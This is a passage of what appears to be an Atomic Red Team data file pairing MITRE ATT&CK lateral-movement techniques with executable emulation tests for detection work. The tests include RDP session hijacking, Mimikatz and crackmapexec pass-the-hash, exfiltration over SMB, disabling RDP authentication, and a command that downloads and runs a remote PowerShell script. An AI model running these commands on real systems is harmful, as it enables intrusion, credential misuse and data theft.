        Files can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095). In some cases, adversaries may be able to leverage [Web Service](https://attack.mitre.org/techniques/T1102)s such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.(Citation: Dropbox Malware Sync)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_contributors:
      - Shailesh Tiwary (Indian Army)
      x_mitre_deprecated: false
      x_mitre_detection: 'Monitor for file creation and files transferred within a
        network using protocols such as SMB or FTP. Unusual processes with internal
        network connections creating files on-system may be suspicious. Consider monitoring
        for abnormal usage of utilities and command-line arguments that may be used
        in support of remote transfer of files. Considering monitoring for alike file
        hashes or characteristics (ex: filename) that are created on multiple hosts.'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Named Pipe: Named Pipe Metadata'
      - 'Network Share: Network Share Access'
      - 'Network Traffic: Network Traffic Flow'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'File: File Creation'
      - 'Network Traffic: Network Traffic Content'
      - 'File: File Metadata'
      type: attack-pattern
      id: attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5
      created: '2020-03-11T21:01:00.959Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1570
        external_id: T1570
      - source_name: Dropbox Malware Sync
        description: David Talbot. (2013, August 21). Dropbox and Similar Services
          Can Sync Malware. Retrieved May 31, 2023.
        url: https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/
      - source_name: Unit42 LockerGoga 2019
        description: Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga.
          Retrieved April 16, 2019.
        url: https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1570
    atomic_tests:
    - name: Exfiltration Over SMB over QUIC (New-SmbMapping)
      auto_generated_guid: d8d13303-159e-4f33-89f4-9f07812d016f
      description: |
        Simulates an attacker exfiltrating data over SMB over QUIC using the New-SmbMapping command.
        Prerequisites:
          - A file server running Windows Server 2022 Datacenter: Azure Edition
          - A Windows 11 computer
          - Windows Admin Center
      supported_platforms:
      - windows
      input_arguments:
        remote_path:
          description: The UNC path to the share on the file server
          type: string
          default: "\\\\example.com\\sales"
        local_file:
          description: The local file to be transferred
          type: path
          default: C:\path\to\file.txt
      executor:
        command: |
          New-SmbMapping -RemotePath '#{remote_path}' -TransportType QUIC -SkipCertificateCheck
          copy '#{local_file}' 'Z:\'
        name: powershell
        elevation_required: true
    - name: Exfiltration Over SMB over QUIC (NET USE)
      auto_generated_guid: 183235ca-8e6c-422c-88c2-3aa28c4825d9
      description: |
        Simulates an attacker exfiltrating data over SMB over QUIC using the NET USE command.
        Prerequisites:
          - A file server running Windows Server 2022 Datacenter: Azure Edition
          - A Windows 11 computer
          - Windows Admin Center
      supported_platforms:
      - windows
      input_arguments:
        remote_path:
          description: The UNC path to the share on the file server
          type: string
          default: "\\\\example.com\\sales"
        local_file:
          description: The local file to be transferred
          type: path
          default: C:\path\to\file.txt
      executor:
        command: |
          NET USE * '#{remote_path}' /TRANSPORT:QUIC /SKIPCERTCHECK
          copy '#{local_file}' '*:\'
        name: powershell
        elevation_required: true
  T1550.004:
    technique:
      modified: '2023-09-19T21:26:24.725Z'
      name: Web Session Cookie
      description: |-
        Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)

        Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.

        There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_contributors:
      - Johann Rehberger
      - Jack Burns, HubSpot
      x_mitre_deprecated: false
      x_mitre_detection: Monitor for anomalous access of websites and cloud-based
        applications by the same user in different locations or by different systems
        that do not match expected configurations.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Office 365
      - SaaS
      - Google Workspace
      - IaaS
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Web Credential: Web Credential Usage'
      x_mitre_defense_bypassed:
      - System Access Controls
      type: attack-pattern
      id: attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0
      created: '2020-01-30T17:48:49.395Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1550/004
        external_id: T1550.004
      - source_name: Unit 42 Mac Crypto Cookies January 2019
        description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware
          Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.
        url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
      - source_name: Pass The Cookie
        description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass
          the Cookie. Retrieved April 5, 2019.
        url: https://wunderwuzzi23.github.io/blog/passthecookie.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1563.002:
    technique:
      modified: '2023-08-14T15:37:02.771Z'
      name: 'Remote Service Session Hijacking: RDP Hijacking'
      description: |-
        Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)

        Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\windows\system32\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking.

        Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      type: attack-pattern
      id: attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c
      created: '2020-02-25T18:35:42.765Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1563/002
        external_id: T1563.002
      - source_name: RDP Hijacking Medium
        description: Beaumont, K. (2017, March 19). RDP hijacking — how to hijack
          RDS and RemoteApp sessions transparently to move through an organisation.
          Retrieved December 11, 2017.
        url: https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6
      - source_name: RDP Hijacking Korznikov
        description: Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking
          Feature All Windows versions. Retrieved December 11, 2017.
        url: http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html
      - source_name: TechNet Remote Desktop Services
        description: Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1,
          2016.
        url: https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx
      - source_name: Kali Redsnarf
        description: NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December
          11, 2017.
        url: https://github.com/nccgroup/redsnarf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1563.002
    atomic_tests:
    - name: RDP hijacking
      auto_generated_guid: a37ac520-b911-458e-8aed-c5f1576d9f46
      description: "[RDP hijacking](https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6)
        - how to hijack RDS and RemoteApp sessions transparently to move through an
        organization\n"
      supported_platforms:
      - windows
      input_arguments:
        Session_ID:
          description: The ID of the session to which you want to connect
          type: string
          default: '1337'
        Destination_ID:
          description: Connect the session of another user to a different session
          type: string
          default: rdp-tcp#55
      executor:
        command: |
          query user
          sc.exe create sesshijack binpath= "cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}"
          net start sesshijack
        cleanup_command: 'sc.exe delete sesshijack >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
  T1550.002:
    technique:
      modified: '2023-07-28T18:24:16.246Z'
      name: 'Use Alternate Authentication Material: Pass the Hash'
      description: |-
        Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.

        When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.

        Adversaries may also use stolen password hashes to "overpass the hash." Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_contributors:
      - Blake Strom, Microsoft 365 Defender
      - Travis Smith, Tripwire
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.

        Event ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Active Directory: Active Directory Credential Request'
      - 'User Account: User Account Authentication'
      x_mitre_defense_bypassed:
      - System Access Controls
      type: attack-pattern
      id: attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e
      created: '2020-01-30T16:36:51.184Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1550/002
        external_id: T1550.002
      - source_name: Stealthbits Overpass-the-Hash
        description: Warren, J. (2019, February 26). How to Detect Overpass-the-Hash
          Attacks. Retrieved February 4, 2021.
        url: https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1550.002
    atomic_tests:
    - name: Mimikatz Pass the Hash
      auto_generated_guid: ec23cef9-27d9-46e4-a68d-6f75f7b86908
      description: |
        Note: must dump hashes first
        [Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)
      supported_platforms:
      - windows
      input_arguments:
        user_name:
          description: username
          type: string
          default: Administrator
        ntlm:
          description: ntlm hash
          type: string
          default: cc36cf7a8514893efccd3324464tkg1a
        domain:
          description: domain
          type: string
          default: "%userdnsdomain%"
        mimikatz_path:
          description: mimikatz windows executable
          type: path
          default: "%tmp%\\mimikatz\\x64\\mimikatz.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz executor must exist on disk and at specified location
          (#{mimikatz_path})

          '
        prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
        get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX
          (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\"
          -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl
          = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url
          | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath
          = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\"
          $basePath\n"
      executor:
        command: '#{mimikatz_path} "sekurlsa::pth /user:#{user_name} /domain:#{domain}
          /ntlm:#{ntlm}"

          '
        name: command_prompt
    - name: crackmapexec Pass the Hash
      auto_generated_guid: eb05b028-16c8-4ad8-adea-6f5b219da9a9
      description: 'command execute with crackmapexec

        '
      supported_platforms:
      - windows
      input_arguments:
        user_name:
          description: username
          type: string
          default: Administrator
        crackmapexec_exe:
          description: crackmapexec windows executable
          type: path
          default: C:\CrackMapExecWin\crackmapexec.exe
        command:
          description: command to execute
          type: string
          default: whoami
        ntlm:
          description: command
          type: string
          default: cc36cf7a8514893efccd3324464tkg1a
        domain:
          description: domain
          type: string
          default: "%userdnsdomain%"
      dependency_executor_name: powershell
      dependencies:
      - description: 'CrackMapExec executor must exist on disk at specified location
          (#{crackmapexec_exe})

          '
        prereq_command: 'if(Test-Path #{crackmapexec_exe}) {exit 0} else {exit 1}

          '
        get_prereq_command: 'Write-Host Automated installer not implemented yet, please
          install crackmapexec manually at this location: #{crackmapexec_exe}

          '
      executor:
        command: "#{crackmapexec_exe} #{domain} -u #{user_name} -H #{ntlm} -x #{command}\n"
        name: command_prompt
    - name: Invoke-WMIExec Pass the Hash
      auto_generated_guid: f8757545-b00a-4e4e-8cfb-8cfb961ee713
      description: |-
        Use Invoke-WMIExec to Pass the Hash
        Note: must dump hashes first
        [Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)
      supported_platforms:
      - windows
      input_arguments:
        ntlm:
          description: ntlm hash
          type: string
          default: cc36cf7a8514893efccd3324464tkg1a
        user_name:
          description: username
          type: string
          default: Administrator
        command:
          description: Command to run on target system
          type: string
          default: hostname
        target:
          description: System to run command on
          type: string
          default: "$env:COMPUTERNAME"
      executor:
        command: |-
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/01ee90f934313acc7d09560902443c18694ed0eb/Invoke-WMIExec.ps1' -UseBasicParsing);Invoke-WMIExec -Target #{target} -Username #{user_name} -Hash #{ntlm} -Command #{command}
        name: powershell
  T1021.001:
    technique:
      modified: '2023-08-07T14:23:30.265Z'
      name: 'Remote Services: Remote Desktop Protocol'
      description: "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078)
        to log into a computer using the Remote Desktop Protocol (RDP). The adversary
        may then perform actions as the logged-on user.\n\nRemote desktop is a common
        feature in operating systems. It allows a user to log into an interactive
        session with a system desktop graphical user interface on a remote system.
        Microsoft refers to its implementation of the Remote Desktop Protocol (RDP)
        as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)
        \n\nAdversaries may connect to a remote system over RDP/RDS to expand access
        if the service is enabled and allows access to accounts with known credentials.
        Adversaries will likely use Credential Access techniques to acquire credentials
        to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility
        Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services
        DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation:
        Alperovitch Malware)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_contributors:
      - Matthew Demaske, Adaptforward
      x_mitre_deprecated: false
      x_mitre_detection: Use of RDP may be legitimate, depending on the network environment
        and how it is used. Other factors, such as access patterns and activity that
        occurs after a remote login, may indicate suspicious or malicious behavior
        with RDP. Monitor for user accounts logged into systems they would not normally
        access or access patterns to multiple systems over a relatively short period
        of time.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Logon Session: Logon Session Creation'
      - 'Network Traffic: Network Connection Creation'
      - 'Process: Process Creation'
      - 'Logon Session: Logon Session Metadata'
      x_mitre_system_requirements:
      - RDP service enabled, account in the Remote Desktop Users group
      type: attack-pattern
      id: attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf
      created: '2020-02-11T18:23:26.059Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1021/001
        external_id: T1021.001
      - source_name: Alperovitch Malware
        description: Alperovitch, D. (2014, October 31). Malware-Free Intrusions.
          Retrieved November 4, 2014.
        url: http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/
      - source_name: TechNet Remote Desktop Services
        description: Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1,
          2016.
        url: https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1021.001
    atomic_tests:
    - name: RDP to DomainController
      auto_generated_guid: 355d4632-8cb9-449d-91ce-b566d0253d3e
      description: 'Attempt an RDP session via Remote Desktop Application to a DomainController.

        '
      supported_platforms:
      - windows
      input_arguments:
        logonserver:
          description: ComputerName argument default %logonserver%
          type: string
          default: $ENV:logonserver.TrimStart("\")
        domain:
          description: domain argument default %USERDOMAIN%
          type: string
          default: "$Env:USERDOMAIN"
        username:
          description: Username argument default %username%
          type: string
          default: "$ENV:USERNAME"
        password:
          description: Password
          type: string
          default: 1password2!
      dependencies:
      - description: 'Computer must be domain joined

          '
        prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain)
          { exit 0} else { exit 1}

          '
        get_prereq_command: 'Write-Host Joining this computer to a domain must be
          done manually

          '
      executor:
        command: |
          $Server=#{logonserver}
          $User = Join-Path #{domain} #{username}
          $Password="#{password}"
          cmdkey /generic:TERMSRV/$Server /user:$User /pass:$Password
          mstsc /v:$Server
          echo "RDP connection established"
        cleanup_command: |
          $p=Tasklist /svc /fi "IMAGENAME eq mstsc.exe" /fo csv | convertfrom-csv
          if(-not ([string]::IsNullOrEmpty($p.PID))) { Stop-Process -Id $p.PID }
        name: powershell
    - name: Changing RDP Port to Non Standard Port via Powershell
      auto_generated_guid: 2f840dd4-8a2e-4f44-beb3-6b2399ea3771
      description: 'Changing RDP Port to Non Standard Port via Powershell

        '
      supported_platforms:
      - windows
      input_arguments:
        OLD_Remote_Port:
          description: Default RDP Listening Port
          type: string
          default: '3389'
        NEW_Remote_Port:
          description: New RDP Listening Port
          type: string
          default: '4489'
      executor:
        command: |
          Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "PortNumber" -Value #{NEW_Remote_Port}
          New-NetFirewallRule -DisplayName 'RDPPORTLatest-TCP-In' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort #{NEW_Remote_Port}
        cleanup_command: "Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal
          Server\\WinStations\\RDP-Tcp' -name \"PortNumber\" -Value #{OLD_Remote_Port}\nRemove-NetFirewallRule
          -DisplayName \"RDPPORTLatest-TCP-In\" -ErrorAction Ignore \nGet-Service
          TermService | Restart-Service -Force -ErrorAction Ignore \n"
        name: powershell
        elevation_required: true
    - name: Changing RDP Port to Non Standard Port via Command_Prompt
      auto_generated_guid: 74ace21e-a31c-4f7d-b540-53e4eb6d1f73
      description: 'Changing RDP Port to Non Standard Port via Command_Prompt

        '
      supported_platforms:
      - windows
      input_arguments:
        OLD_Remote_Port:
          description: Default RDP Listening Port
          type: string
          default: '3389'
        NEW_Remote_Port:
          description: New RDP Listening Port
          type: string
          default: '4489'
      executor:
        command: |
          reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d #{NEW_Remote_Port} /f
          netsh advfirewall firewall add rule name="RDPPORTLatest-TCP-In" dir=in action=allow protocol=TCP localport=#{NEW_Remote_Port}
        cleanup_command: |
          reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d #{OLD_Remote_Port} /f >nul 2>&1
          netsh advfirewall firewall delete rule name="RDPPORTLatest-TCP-In" >nul 2>&1
          net stop TermService /y >nul 2>&1
          net start TermService >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Disable NLA for RDP via Command Prompt
      auto_generated_guid: 01d1c6c0-faf0-408e-b368-752a02285cb2
      description: |
        Disables network-level authentication (NLA) for RDP by changing a registry key via Command Prompt
        Disabling NLA for RDP can allow remote user interaction with the Windows sign-in screen prior to authentication. According to Microsoft, Flax Typhoon actors used this technique implementation to achieve persistence on victim systems: https://www.microsoft.com/en-us/security/blog/2023/08/24/flax-typhoon-using-legitimate-software-to-quietly-access-taiwanese-organizations/
        See also: https://github.com/EmpireProject/Empire/blob/master/lib/modules/powershell/management/enable_rdp.py
      supported_platforms:
      - windows
      input_arguments:
        Default_UserAuthentication:
          description: Default UserAuthentication registry value
          type: string
          default: '1'
      executor:
        command: 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
          Server\WinStations\RDP-Tcp" /v UserAuthentication /d 0 /t REG_DWORD /f

          '
        cleanup_command: 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
          Server\WinStations\RDP-Tcp" /v UserAuthentication /d #{Default_UserAuthentication}
          /t REG_DWORD -f >nul 2>&1

          '
        name: command_prompt
  T1550.001:
    technique:
      modified: '2024-04-12T21:18:28.848Z'
      name: Application Access Token
      description: "Adversaries may use stolen application access tokens to bypass
        the typical authentication process and access restricted accounts, information,
        or services on remote systems. These tokens are typically stolen from users
        or services and used in lieu of login credentials.\n\nApplication access tokens
        are used to make authorized API requests on behalf of a user or service and
        are commonly used to access resources in cloud, container-based applications,
        and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always
        Use Access Tokens to Secure APIs Sept 2019) \n\nOAuth is one commonly implemented
        framework that issues tokens to users for access to systems. These frameworks
        are used collaboratively to verify the user and determine what actions the
        user is allowed to perform. Once identity is established, the token allows
        actions to be authorized, without passing the actual credentials of the user.
        Therefore, compromise of the token can grant the adversary access to resources
        of other sites through a malicious application.(Citation: okta)\n\nFor example,
        with a cloud-based email service, once an OAuth access token is granted to
        a malicious application, it can potentially gain long-term access to features
        of the user account if a \"refresh\" token enabling background access is awarded.(Citation:
        Microsoft Identity Platform Access 2019) With an OAuth access token an adversary
        can use the user-granted REST API to perform functions such as email searching
        and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised
        access tokens may be used as an initial step in compromising other services.
        For example, if a token grants access to a victim’s primary email, the adversary
        may be able to extend access to all other services which the target subscribes
        by triggering forgotten password routines. In AWS and GCP environments, adversaries
        can trigger a request for a short-lived access token with the privileges of
        another user account.(Citation: Google Cloud Service Account Credentials)(Citation:
        AWS Temporary Security Credentials) The adversary can then use this token
        to request data or perform actions the original account could not. If permissions
        for this feature are misconfigured – for example, by allowing all users to
        request a token for a particular account - an adversary may be able to gain
        initial access to a Cloud Account or escalate their privileges.(Citation:
        Rhino Security Labs Enumerating AWS Roles)\n\nDirect API access through a
        token negates the effectiveness of a second authentication factor and may
        be immune to intuitive countermeasures like changing passwords.  For example,
        in AWS environments, an adversary who compromises a user’s AWS API credentials
        may be able to use the `sts:GetFederationToken` API call to create a federated
        user session, which will have the same permissions as the original user but
        may persist even if the original user credentials are deactivated.(Citation:
        Crowdstrike AWS User Federation Persistence) Additionally, access abuse over
        an API channel can be difficult to detect even from the service provider end,
        as the access can still align well with a legitimate workflow."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_contributors:
      - Shailesh Tiwary (Indian Army)
      - Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)
      - Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)
      - Mark Wee
      - Ian Davila, Tidal Cyber
      - Dylan Silva, AWS Security
      - Jack Burns, HubSpot
      - Blake Strom, Microsoft Threat Intelligence
      x_mitre_deprecated: false
      x_mitre_detection: 'Monitor access token activity for abnormal use and permissions
        granted to unusual or suspicious applications and APIs. Additionally, administrators
        should review logs for calls to the AWS Security Token Service (STS) and usage
        of GCP service accounts in order to identify anomalous actions.(Citation:
        AWS Logging IAM Calls)(Citation: GCP Monitoring Service Account Usage)'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Office 365
      - SaaS
      - Google Workspace
      - Containers
      - IaaS
      - Azure AD
      x_mitre_version: '1.6'
      x_mitre_data_sources:
      - 'Web Credential: Web Credential Usage'
      x_mitre_defense_bypassed:
      - System Access Controls
      type: attack-pattern
      id: attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51
      created: '2020-01-30T17:37:22.261Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1550/001
        external_id: T1550.001
      - source_name: Crowdstrike AWS User Federation Persistence
        description: " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries
          Can Persist with AWS User Federation. Retrieved March 10, 2023."
        url: https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/
      - source_name: Auth0 - Why You Should Always Use Access Tokens to Secure APIs
          Sept 2019
        description: Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure
          APIs. Retrieved September 12, 2019.
        url: https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/
      - source_name: AWS Logging IAM Calls
        description: AWS. (n.d.). Logging IAM and AWS STS API calls with AWS CloudTrail.
          Retrieved April 1, 2022.
        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html
      - source_name: AWS Temporary Security Credentials
        description: AWS. (n.d.). Requesting temporary security credentials. Retrieved
          April 1, 2022.
        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html
      - source_name: Microsoft Identity Platform Access 2019
        description: Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27).
          Microsoft identity platform access tokens. Retrieved October 4, 2019.
        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens
      - source_name: Google Cloud Service Account Credentials
        description: Google Cloud. (2022, March 31). Creating short-lived service
          account credentials. Retrieved April 1, 2022.
        url: https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials
      - source_name: GCP Monitoring Service Account Usage
        description: Google Cloud. (2022, March 31). Monitor usage patterns for service
          accounts and keys . Retrieved April 1, 2022.
        url: https://cloud.google.com/iam/docs/service-account-monitoring
      - source_name: okta
        description: okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved
          September 12, 2019.
